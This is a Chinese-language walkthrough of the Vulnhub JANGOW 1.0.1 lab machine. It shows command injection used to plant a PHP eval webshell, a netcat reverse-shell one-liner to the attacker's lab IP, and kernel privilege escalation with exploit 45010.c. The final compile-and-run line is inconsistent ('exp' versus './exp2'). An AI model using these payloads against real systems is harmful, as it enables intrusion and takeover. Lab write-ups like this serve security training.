Vulnhub 靶场 JANGOW: 1.0.1
一、环境准备
下载地址:https://www.vulnhub.com/entry/jangow-101,754/
下载靶机,导入到virtualBox里面直接启动,注意靶机要和kali在同一网段,不然无法收到反弹的shell,设置同一网段
靶机地址:192.168.56.118
攻击机:kali 192.168.56.101(用来监听反弹的shell) win10物理机
二、开始复现
1.信息收集
打开虚拟机后,直接给出了IP地址。
下面我将按照我的真实思路来进行模拟,首先我们使用nmap进行扫描,看看开了哪些端口。
发现开放了ftp与http协议,我们去访问一下IP地址,按照我的思路来讲,个人喜欢手工测试前对于不那么脆弱的网站,我先放到漏扫里面扫一下(毕竟本人是个漏扫驾驶员),扫的过程中进行手工测试,结果漏扫还没扫完,随便点点就发现了漏洞,这个“http://192.168.56.118/site/busque.php?buscar=”后边,一看就是有问题。
很明显,这地方存在一个命令执行,我们来验证一下,果然不出所料,存在命令执行漏洞
结果awvs也可以扫出来,毕竟这个漏洞实在是太简单了。
2.利用漏洞进行攻击
既然,这个地方存在命令执行漏洞,那么我们直接写入个一句话木马。
http://192.168.56.118/site/busque.php?buscar=echo '<?php eval($_POST["cmd"]);' > test.php
上传之后我们使用蚁剑进行连接
连接成功后,我们继续翻一番文件,翻出来这三个
config里面是数据库密码,暂时没有什么用,不过backup里面是用户的用户名和密码,不过权限很低,也没有找到flag。
不过这个靶机又没有开启SSH,真实环境中又不可能这样登陆,pass掉,将user里面解码,发现查询不到,是个空的。
我们继续换思路,既然开着21的ftp服务,那么我们用ftp登陆试一下(虽然知道肯定没啥用,不过还是试一下)
确实没啥东西。。。。
3.提权
既然我们知道我们获得的权限是比较低的,那么我们反弹个shell,进行提权,注意这里只能反弹到443端口。
我们在kali上监听443端口
我们在site下新建文件来反弹shell
<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.101 443 >/tmp/f');?>
然后我们访问这个文件
成功接收到反弹的shell
我们升级一下shell,将他升级为交互式shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
输入 su jangow01 即可切换用户
输入 uname -a 可以得到靶机的版本,发现版本号为4.4.0-31
我们去搜索这个版本的漏洞发现了三个可以利用的
我们把45010.c上传到 靶机目录下
我们进行提权
gcc 45010.c -o exp chmod 777 exp ./exp2
提权成功,获得flag。